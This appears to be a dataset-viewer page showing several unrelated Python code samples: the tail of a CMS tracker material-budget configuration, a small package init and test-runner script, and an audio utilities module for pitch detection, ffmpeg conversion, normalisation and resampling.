25, # TEC Layer 7
25, # TEC Layer 7
26, # TEC Layer 8
26, # TEC Layer 8
27, # TEC Layer 9
27, # TEC Layer 9
113, # Barrel Wall
#
114, # Endcap Wall : 4.889<eta<5.191
114, # Endcap Wall : 4.716<eta<4.889
114, # Endcap Wall : 4.538<eta<4.889
114, # Endcap Wall : 4.363<eta<4.538
114, # Endcap Wall : 4.191<eta<4.363
114, # Endcap Wall : 4.013<eta<4.191
114, # Endcap Wall : 3.839<eta<4.013
114, # Endcap Wall : 3.664<eta<3.839
114, # Endcap Wall : 3.489<eta<3.664
114, # Endcap Wall : 3.314<eta<3.489
114, # Endcap Wall : 3.139<eta<3.314
114, # Endcap Wall : 3.000<eta<3.139
114, # Endcap Wall : 2.853<eta<3.000
114, # Endcap Wall : 2.750<eta<2.853
114 # Endcap Wall
),
# Lower limit on Radius or Z
FudgeMin = cms.vdouble(
0.0, # Pixel Barrel services
4.2, # Pixel Barrel services
5.1, # Pixel Barrel services
7.1, # Pixel Barrel services
8.2, # Pixel Barrel services
10.0, # Pixel Barrel services
11.0, # Pixel Barrel services
0.0, # Pixel Wall
27.5, # Pixel Wall
0.0, # Pixel endcap services
10.0, # Pixel endcap services
16.0, # Pixel endcap services
35.0, # TIB1 services
35.0, # TIB2 services
35.0, # TIB3 services
35.0, # TIB4 services
34.0, # TID Layer 1
34.0, # TID Layer 2
34.0, # TID Layer 3
47.5, # TID outside services
22.0, # TID outside services
27.5, # TOB inside services
72.0, # TOB inside services
0.0, # TOB Layer 1
18.0, # TOB Layer 1
36.0, # TOB Layer 1
55.0, # TOB Layer 1
0.0, # TOB Layer 2
18.0, # TOB Layer 2
36.0, # TOB Layer 2
55.0, # TOB Layer 2
0.0, # TOB Layer 3
18.0, # TOB Layer 3
36.0, # TOB Layer 3
55.0, # TOB Layer 3
0.0, # TOB Layer 4
18.0, # TOB Layer 4
36.0, # TOB Layer 4
55.0, # TOB Layer 4
0.0, # TOB Layer 5
18.0, # TOB Layer 5
36.0, # TOB Layer 5
55.0, # TOB Layer 5
0.0, # TOB Layer 6
18.0, # TOB Layer 6
36.0, # TOB Layer 6
55.0, # TOB Layer 6
55.0, # TOB services
62.0, # TOB services
78.0, # TOB services
0.0, # TEC Layer 1
24.0, # TEC Layer 1
34.0, # TEC Layer 1
0.0, # TEC Layer 2
24.0, # TEC Layer 2
34.0, # TEC Layer 2
0.0, # TEC Layer 3
24.0, # TEC Layer 3
34.0, # TEC Layer 3
0.0, # TEC Layer 4
32.0, # TEC Layer 4
41.0, # TEC Layer 4
0.0, # TEC Layer 5
32.0, # TEC Layer 5
41.0, # TEC Layer 5
0.0, # TEC Layer 6
32.0, # TEC Layer 6
41.0, # TEC Layer 6
0.0, # TEC Layer 7
32.0, # TEC Layer 7
0.0, # TEC Layer 8
32.0, # TEC Layer 8
0.0, # TEC Layer 9
32.0, # TEC Layer 9
120.0, # Barrel wall
#
3.34, # Endcap Wall : 4.889<eta<5.191
4.52, # Endcap Wall : 4.716<eta<4.889
5.37, # Endcap Wall : 4.538<eta<4.889
6.42, # Endcap Wall : 4.363<eta<4.538
7.64, # Endcap Wall : 4.191<eta<4.363
9.08, # Endcap Wall : 4.013<eta<4.191
10.85, # Endcap Wall : 3.839<eta<4.013
12.92, # Endcap Wall : 3.664<eta<3.839
15.38, # Endcap Wall : 3.489<eta<3.664
18.33, # Endcap Wall : 3.314<eta<3.489
21.85, # Endcap Wall : 3.139<eta<3.314
26.04, # Endcap Wall : 3.000<eta<3.139
29.95, # Endcap Wall : 2.853<eta<3.000
34.72, # Endcap Wall : 2.750<eta<2.853
36.0 # Endcap wall
),
# Upper limit on Radius or Z
FudgeMax = cms.vdouble(
4.2, # Pixel Barrel services
5.1, # Pixel Barrel services
7.1, # Pixel Barrel services
8.2, # Pixel Barrel services
10.0, # Pixel Barrel services
11.0, # Pixel Barrel services
11.9, # Pixel Barrel services
27.5, # Pixel Wall
32.0, # Pixel Wall
10.0, # Pixel endcap services
11.0, # Pixel endcap services
18.0, # Pixel endcap services
68.0, # TIB1 services
68.0, # TIB2 services
68.0, # TIB3 services
68.0, # TIB4 services
42.0, # TID Layer 1
42.0, # TID Layer 2
42.0, # TID Layer 3
54.0, # TID outside services
24.0, # TID outside services
30.5, # TOB inside services
110.0, # TOB inside services
18.0, # TOB Layer 1
30.0, # TOB Layer 1
46.0, # TOB Layer 1
108.0, # TOB Layer 1
18.0, # TOB Layer 2
30.0, # TOB Layer 2
46.0, # TOB Layer 2
108.0, # TOB Layer 2
18.0, # TOB Layer 3
30.0, # TOB Layer 3
46.0, # TOB Layer 3
108.0, # TOB Layer 3
18.0, # TOB Layer 4
30.0, # TOB Layer 4
46.0, # TOB Layer 4
108.0, # TOB Layer 4
18.0, # TOB Layer 5
30.0, # TOB Layer 5
46.0, # TOB Layer 5
108.0, # TOB Layer 5
18.0, # TOB Layer 6
30.0, # TOB Layer 6
46.0, # TOB Layer 6
108.0, # TOB Layer 6
60.0, # TOB services
78.0, # TOB services
92.0, # TOB services
24.0, # TEC Layer 1
34.0, # TEC Layer 1
39.0, # TEC Layer 1
24.0, # TEC Layer 2
34.0, # TEC Layer 2
39.0, # TEC Layer 2
24.0, # TEC Layer 3
34.0, # TEC Layer 3
39.0, # TEC Layer 3
32.0, # TEC Layer 4
40.0, # TEC Layer 4
46.0, # TEC Layer 4
32.0, # TEC Layer 5
40.0, # TEC Layer 5
46.0, # TEC Layer 5
32.0, # TEC Layer 6
40.0, # TEC Layer 6
46.0, # TEC Layer 6
32.0, # TEC Layer 7
60.0, # TEC Layer 7
32.0, # TEC Layer 8
60.0, # TEC Layer 8
32.0, # TEC Layer 9
60.0, # TEC Layer 9
301.0, # Barrel wall
#
4.51, # Endcap Wall : 4.889<eta<5.191
5.37, # Endcap Wall : 4.716<eta<4.889
6.42, # Endcap Wall : 4.538<eta<4.889
7.64, # Endcap Wall : 4.363<eta<4.538
9.08, # Endcap Wall : 4.191<eta<4.363
10.85, # Endcap Wall : 4.013<eta<4.191
12.92, # Endcap Wall : 3.839<eta<4.013
15.38, # Endcap Wall : 3.664<eta<3.839
18.33, # Endcap Wall : 3.489<eta<3.664
21.85, # Endcap Wall : 3.314<eta<3.489
26.04, # Endcap Wall : 3.139<eta<3.314
29.95, # Endcap Wall : 3.000<eta<3.139
34.72, # Endcap Wall : 2.853<eta<3.000
36.00, # Endcap Wall : 2.750<eta<2.853
120.0 # Endcap wall
),
# Fudge factor on x/X0
FudgeFactor = cms.vdouble(
0.00, # Pixel Barrel services
2.50, # Pixel Barrel services
0.00, # Pixel Barrel services
2.70, # Pixel Barrel services
0.00, # Pixel Barrel services
2.80, # Pixel Barrel services
0.50, # Pixel Barrel services
0.27, # Pixel Wall
1.90, # Pixel Wall
1.60, # Pixel endcap services
1.30, # Pixel endcap services
0.70, # Pixel endcap services
1.45, # TIB1 services
1.45, # TIB2 services
1.45, # TIB3 services
1.45, # TIB4 services
2.00, # TID Layer 1
2.00, # TID Layer 2
2.00, # TID Layer 3
2.50, # TID outside services
1.50, # TID outside services
4.00, # TOB inside services
5.50, # TOB inside services
0.70, # TOB Layer 1
2.00, # TOB Layer 1
2.00, # TOB Layer 1
2.00, # TOB Layer 1
0.70, # TOB Layer 2
2.00, # TOB Layer 2
2.00, # TOB Layer 2
2.00, # TOB Layer 2
0.70, # TOB Layer 3
2.00, # TOB Layer 3
2.00, # TOB Layer 3
2.00, # TOB Layer 3
0.70, # TOB Layer 4
2.00, # TOB Layer 4
2.00, # TOB Layer 4
2.00, # TOB Layer 4
0.70, # TOB Layer 5
2.00, # TOB Layer 5
2.00, # TOB Layer 5
2.00, # TOB Layer 5
0.70, # TOB Layer 6
2.00, # TOB Layer 6
2.00, # TOB Layer 6
2.00, # TOB Layer 6
0.50, # TOB services
1.50, # TOB services
1.80, # TOB services
2.0, # TEC Layer 1
0.8, # TEC Layer 1
1.6, # TEC Layer 1
2.0, # TEC Layer 2
0.8, # TEC Layer 2
1.6, # TEC Layer 2
2.0, # TEC Layer 3
0.8, # TEC Layer 3
1.6, # TEC Layer 3
2.3, # TEC Layer 4
0.6, # TEC Layer 4
1.4, # TEC Layer 4
2.3, # TEC Layer 5
0.6, # TEC Layer 5
1.4, # TEC Layer 5
2.5, # TEC Layer 6
0.6, # TEC Layer 6
1.4, # TEC Layer 6
2.7, # TEC Layer 7
0.6, # TEC Layer 7
3.0, # TEC Layer 8
0.6, # TEC Layer 8
3.0, # TEC Layer 9
0.6, # TEC Layer 9
3.8, # Barrel wall
#
250.00, # Endcap Wall : 4.889<eta<5.191
100.00, # Endcap Wall : 4.716<eta<4.889
15.00, # Endcap Wall : 4.538<eta<4.716
6.00, # Endcap Wall : 4.363<eta<4.538
5.00, # Endcap Wall : 4.191<eta<4.363
3.00, # Endcap Wall : 4.013<eta<4.191
3.00, # Endcap Wall : 3.839<eta<4.013
3.00, # Endcap Wall : 3.664<eta<3.839
5.00, # Endcap Wall : 3.489<eta<3.664
6.00, # Endcap Wall : 3.314<eta<3.489
4.50, # Endcap Wall : 3.139<eta<3.314
7.00, # Endcap Wall : 3.000<eta<3.139
0.00, # Endcap Wall : 2.853<eta<3.000
1.40, # Endcap Wall : 2.750<eta<2.853
1.60 # Endcap wall
)
)
)
|
from .client import Client
from .suite import CommandSuite
|
import test_test
path = 'data.json'
script = test_test.TestTest()
script.setup_method()
script.load_vars(path)
script.test_verify()
script.teardown_method()
|
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/utils.audio.ipynb (unless otherwise specified).
__all__ = ['mel_to_audio', 'differenceFunction', 'cumulativeMeanNormalizedDifferenceFunction', 'getPitch',
'compute_yin', 'convert_to_wav', 'match_target_amplitude', 'modify_leading_silence',
'normalize_audio_segment', 'normalize_audio', 'trim_audio', 'MAX_WAV_INT16', 'load_wav_to_torch',
'overlay_mono', 'overlay_stereo', 'mono_to_stereo', 'stereo_to_mono', 'resample', 'get_audio_max',
'to_int16']
# Cell
"""
BSD 3-Clause License
Copyright (c) 2019, NVIDIA Corporation
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
# Cell
from ..models.common import MelSTFT
def mel_to_audio(mel, algorithm="griffin-lim", **kwargs):
if algorithm == "griffin-lim":
mel_stft = MelSTFT()
audio = mel_stft.griffin_lim(mel)
else:
raise NotImplemented
return audio
# Cell
# adapted from https://github.com/patriceguyot/Yin
import numpy as np
from scipy.io.wavfile import read
import torch
def differenceFunction(x, N, tau_max):
"""
Compute difference function of data x. This corresponds to equation (6) in [1]
This solution is implemented directly with Numpy fft.
:param x: audio data
:param N: length of data
:param tau_max: integration window size
:return: difference function
:rtype: list
"""
x = np.array(x, np.float64)
w = x.size
tau_max = min(tau_max, w)
x_cumsum = np.concatenate((np.array([0.0]), (x * x).cumsum()))
size = w + tau_max
p2 = (size // 32).bit_length()
nice_numbers = (16, 18, 20, 24, 25, 27, 30, 32)
size_pad = min(x * 2 ** p2 for x in nice_numbers if x * 2 ** p2 >= size)
fc = np.fft.rfft(x, size_pad)
conv = np.fft.irfft(fc * fc.conjugate())[:tau_max]
return x_cumsum[w : w - tau_max : -1] + x_cumsum[w] - x_cumsum[:tau_max] - 2 * conv
def cumulativeMeanNormalizedDifferenceFunction(df, N):
"""
Compute cumulative mean normalized difference function (CMND).
This corresponds to equation (8) in [1]
:param df: Difference function
:param N: length of data
:return: cumulative mean normalized difference function
:rtype: list
"""
cmndf = df[1:] * range(1, N) / np.cumsum(df[1:]).astype(float) # scipy method
return np.insert(cmndf, 0, 1)
def getPitch(cmdf, tau_min, tau_max, harmo_th=0.1):
"""
Return fundamental period of a frame based on CMND function.
:param cmdf: Cumulative Mean Normalized Difference function
:param tau_min: minimum period for speech
:param tau_max: maximum period for speech
:param harmo_th: harmonicity threshold to determine if it is necessary to compute pitch frequency
:return: fundamental period if there is values under threshold, 0 otherwise
:rtype: float
"""
tau = tau_min
while tau < tau_max:
if cmdf[tau] < harmo_th:
while tau + 1 < tau_max and cmdf[tau + 1] < cmdf[tau]:
tau += 1
return tau
tau += 1
return 0 # if unvoiced
def compute_yin(
sig, sr, w_len=512, w_step=256, f0_min=100, f0_max=500, harmo_thresh=0.1
):
"""
Compute the Yin Algorithm. Return fundamental frequency and harmonic rate.
:param sig: Audio signal (list of float)
:param sr: sampling rate (int)
:param w_len: size of the analysis window (samples)
:param w_step: size of the lag between two consecutives windows (samples)
:param f0_min: Minimum fundamental frequency that can be detected (hertz)
:param f0_max: Maximum fundamental frequency that can be detected (hertz)
:param harmo_tresh: Threshold of detection. The yalgorithmù return the first minimum of the CMND function below this treshold.
:returns:
* pitches: list of fundamental frequencies,
* harmonic_rates: list of harmonic rate values for each fundamental frequency value (= confidence value)
* argmins: minimums of the Cumulative Mean Normalized DifferenceFunction
* times: list of time of each estimation
:rtype: tuple
"""
tau_min = int(sr / f0_max)
tau_max = int(sr / f0_min)
timeScale = range(
0, len(sig) - w_len, w_step
) # time values for each analysis window
times = [t / float(sr) for t in timeScale]
frames = [sig[t : t + w_len] for t in timeScale]
pitches = [0.0] * len(timeScale)
harmonic_rates = [0.0] * len(timeScale)
argmins = [0.0] * len(timeScale)
for i, frame in enumerate(frames):
# Compute YIN
df = differenceFunction(frame, w_len, tau_max)
cmdf = cumulativeMeanNormalizedDifferenceFunction(df, tau_max)
p = getPitch(cmdf, tau_min, tau_max, harmo_thresh)
# Get results
if np.argmin(cmdf) > tau_min:
argmins[i] = float(sr / np.argmin(cmdf))
if p != 0: # A pitch was found
pitches[i] = float(sr / p)
harmonic_rates[i] = cmdf[p]
else: # No pitch, but we compute a value of the harmonic rate
harmonic_rates[i] = min(cmdf)
return pitches, harmonic_rates, argmins, times
# Cell
import os
import shlex
import subprocess
def convert_to_wav(filename, output, sr=22050):
"""Convert a file to 16-bit 22050hz wav."""
base, ext = os.path.splitext(filename)
if filename == output:
backup = f"{base}-backup{ext}"
copyfile(filename, backup)
filename = backup
output = output.replace(" ", "-")
if (
filename.endswith(".mp3")
or filename.endswith(".m4a")
or filename.endswith(".flac")
or filename.endswith(".ogg")
or filename.endswith(".wav")
or filename.endswith(".mkv")
or filename.endswith(".webm")
):
if not output.endswith(".wav"):
o, ext = os.path.splitext(output)
output = f"{o}.wav"
ffmpeg_cmd = f"ffmpeg -hide_banner -loglevel error -y -i {shlex.quote(filename)} -ar {sr} -ac 1 {shlex.quote(output)}"
subprocess.check_call(shlex.split(ffmpeg_cmd))
else:
raise Exception("only ogg, flac, mp3 and wav are supported")
return output
# Cell
import librosa
from pydub import AudioSegment, silence
from scipy.io.wavfile import write
MAX_WAV_INT16 = 32768
def match_target_amplitude(audio_segment, target_dbfs):
change_in_dbfs = target_dbfs - audio_segment.dBFS
return audio_segment.apply_gain(change_in_dbfs)
def modify_leading_silence(audio, desired_silence):
leading_silence = silence.detect_leading_silence(audio)
if leading_silence > desired_silence:
audio = audio[leading_silence - desired_silence :]
elif leading_silence < desired_silence:
audio = (
AudioSegment.silent(
desired_silence - leading_silence, frame_rate=audio.frame_rate
)
+ audio
)
return audio
def normalize_audio_segment(audio):
SILENCE_MS = 50
TARGET_DBFS = -20
normalized = match_target_amplitude(audio, TARGET_DBFS)
normalized = modify_leading_silence(normalized, SILENCE_MS)
normalized = modify_leading_silence(normalized.reverse(), SILENCE_MS).reverse()
return normalized
def normalize_audio(path, new_path):
assert path.endswith(".wav")
assert new_path.endswith(".wav")
audio_segment = AudioSegment.from_wav(path)
audio_segment = normalize_audio_segment(audio_segment)
audio_segment.export(new_path, format="wav")
def trim_audio(path, new_path, top_db=20):
"""Trim silence from start and end of the audio file.
Similar functionality to normalize_audio_segment, but uses librosa instead of pydub.
"""
signal, sr = librosa.load(path)
trimmed, _ = librosa.effects.trim(signal, top_db=top_db)
trimmed = (MAX_WAV_INT16 * trimmed).astype(np.int16)
write(new_path, sr, trimmed)
# Cell
def load_wav_to_torch(path):
sr, data = read(path)
return torch.FloatTensor(data.astype(np.float32)), sr
# Cell
from scipy import signal
def overlay_mono(audio1, audio2):
"""
Will overlay two mono audio np arrays starting at the beginning of both audio files.
"""
audio1_padded = np.pad(audio1, (0, max(0, len(audio2) - len(audio1))))
audio2_padded = np.pad(audio2, (0, max(0, len(audio1) - len(audio2))))
return audio1_padded + audio2_padded
def overlay_stereo(audio1, audio2):
"""
Will overlay two stereo audio np arrays starting at the beginning of both audio files.
"""
audio1_padded = np.pad(
audio1, ((0, 0), (0, max(0, audio2.shape[-1] - audio1.shape[-1])))
)
audio2_padded = np.pad(
audio2, ((0, 0), (0, max(0, audio1.shape[-1] - audio2.shape[-1])))
)
return audio1_padded + audio2_padded
def mono_to_stereo(audio):
"""
Convert mono audio data to equally balance stereo.
"""
return np.vstack((audio, audio))
def stereo_to_mono(audio):
"""
Convert stereo audio data to mean mono audio data.
"""
return librosa.to_mono(audio)
def resample(audio, source_sr, target_sr):
"""
Change the sampling rate of a mono np audio array
"""
resampled_audio = librosa.resample(audio, source_sr, target_sr)
return resampled_audio
def get_audio_max(*audios):
"""
Find the maximum value in a list of audio files.
"""
max_audio = 0
for audio_data in audios:
max_audio = max(max_audio, audio_data.max())
return max_audio
def to_int16(audio, max_wav_value=32768):
audio = audio * max_wav_value
return audio.astype(np.int16)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.